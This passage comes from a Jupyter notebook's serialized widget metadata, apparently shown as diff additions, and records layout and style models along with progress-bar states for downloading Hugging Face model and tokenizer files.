"IPY_MODEL_851c4973cb0c4fbe91536a09f006ad43", + "value": " 382/382 [00:00<00:00, 7.26kB/s]" + } + }, + "8f92d6ba8bd04fabb8e6dddf0c7dfa44": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "8ff9c129cb434f9bbab238f1779c9b0b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "90398133563a48288ebf11cf0e0e242d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_89abbaee27c441b3ab1c656806a7e67d", + "placeholder": "​", + "style": "IPY_MODEL_9a46a59ffb8d44c89b067519101f7a74", + "value": "Downloading (…)tokenizer/merges.txt: 100%" + } + }, + "9074425e4bf04c428926f5504cd3a8de": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "90d2a57096964b7a9e2aef14ec54e2a7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "911cafa406d2409f8ac69d9c9ae0dd94": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "922d64656ae0415795f9e50e79d5d5f8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "93d2d9e917d84072ae401952c12904bf": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "93df8bff634740a29f3820042d69347f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "940a28141ae14329831b67e91ff1091a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "941873b1d19b4c2da615ed461fc6cbc7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "942ace43ed1d48aeafc6c5e17f14e034": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "944390d866cf430fbd562fca7781a9d9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ef977ff25ba842c9a0475befc7b47b89", + "placeholder": "​", + "style": "IPY_MODEL_c8da6be1960c4f89a18d49205cbaa0df", + "value": " 20/20 [00:27<00:00, 1.24s/it]" + } + }, + "948f2f29870b4ee7974ddad6ba18397d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "94cc8073f13f45b085e1f23d3d4bbbc9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "94fba57a53d04861ab5a889193d27f83": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "955af4f359254125801ec776793397e7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8c0d69533b674629b69a64345fc4d67e", + "placeholder": "​", + "style": "IPY_MODEL_f2241131e8d54c1f9e8976b94b46bc67", + "value": "100%" + } + }, + "962917ac2b044e5989e88100ceb45296": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "965fb38eae6a45678d87fc3e24eb5241": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "97348ede0e464090845a56a64a53e493": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "97570891602f4963bdfaacd309438ca7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_93d2d9e917d84072ae401952c12904bf", + "placeholder": "​", + "style": "IPY_MODEL_636973b7927b44bbaac28737227e7599", + "value": " 154M/154M [00:01<00:00, 97.5MB/s]" + } + }, + "978a0bae9c5f4ab7ac45f1f4f870fef0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "978ecf658d464bc999bc8a5c540e3ad0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f0a064bb91524f01972e941a3bd7354d", + "max": 327701893, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_7efd39ed94f94ecd9292069da0697a5f", + "value": 327701893 + } + }, + "97dcb5d933594743aea62d09aa27d30d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "97dfae674a3b415d9015760abea61968": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a0f1a81a8d8f4e05a26d7a0a61565c53", + "max": 13, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_7f36f3521fa14a37b0fad0702bf9a4e3", + "value": 13 + } + }, + "97ffad3c1b6e4c9c9621966c028c12aa": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_eb72384f0e50444d9db03c12aca4b899", + "placeholder": "​", + "style": "IPY_MODEL_e7ddc52526db41e4907a2ede8dcef7c7", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "993b867eff394cfe843eb18ee194b8d6": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "99836b0d3c5241f99260cd642081c31f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9998dc803aec438ab2bbdcb1edb8ab4e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_713f6c4e65a5418481d59fb756bd043c", + "placeholder": "​", + "style": "IPY_MODEL_365b7759e93949dd891bacc424e797f3", + "value": " 920/920 [00:00<00:00, 31.2kB/s]" + } + }, + "99b1e953ca924df2b6bfb0f9780d2e21": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8477b0d8ae344f78ba17f537e0e2448f", + "placeholder": "​", + "style": "IPY_MODEL_911cafa406d2409f8ac69d9c9ae0dd94", + "value": "Downloading (…)okenizer_config.json: 100%" + } + }, + "99c6d5162b2d41b6b3d260f4b2c99b9b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9a3d9f15c9b8495498d8910dc60d9fc0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_aec13914c37649feb868b8f531a07a83", + "IPY_MODEL_4b4b8aee32724ff5b0a40f9af956fe72", + "IPY_MODEL_b3967f91f621495cb1715427fcc57011" + ], + "layout": "IPY_MODEL_d5b65c5e85704b02be5a0fa2ab7569fa" + } + }, + "9a46a59ffb8d44c89b067519101f7a74": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9a540d6ed00a424da320fd7a12c31ac5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d44b6d406224497d9db5c903c6972323", + "placeholder": "​", + "style": "IPY_MODEL_d3010a25994f4f12b95922f2863f4f3b", + "value": " 1.45G/1.45G [01:27<00:00, 14.8MB/s]" + } + }, + "9a56fa1ecaee4be3954540e95a7c8990": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_07ad70da82f04e6c8fc64ba90f114d04", + "IPY_MODEL_b09e0313ea6d461e99ee9e2778639310", + "IPY_MODEL_df65632706474b4d903b8f6f72438166" + ], + "layout": "IPY_MODEL_7035d48a0c874fe7b7bd20c6b03bdf85" + } + }, + "9b27785afb0243f5b2298cb272c510e2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9b78deeeaec149339134750de6ba1fcf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_a207168326fd45159d8eec29ea91ccac", + "IPY_MODEL_425d719b752b4a1480f8c3f8b9388e50", + "IPY_MODEL_8baeb11dd15840e691eadde3f79bf4f2" + ], + "layout": "IPY_MODEL_6b872da2a0944f5da6eb68792937311b" + } + }, + "9ba3483798e8439aab7d5560c1a5bac1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_60ebb0e8c1174c839a26182b38d4ae9b", + "placeholder": "​", + "style": "IPY_MODEL_f3be39d3186448afb9d851b9732df52b", + "value": " 8.76k/8.76k [00:00<00:00, 576kB/s]" + } + }, + "9cc4d939cc454a0da5eb7bdd234f69b5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9d1f8ee81b994f94882d776f6e401f02": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9d2061e3643940f496528dc7ad6e6e2e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": 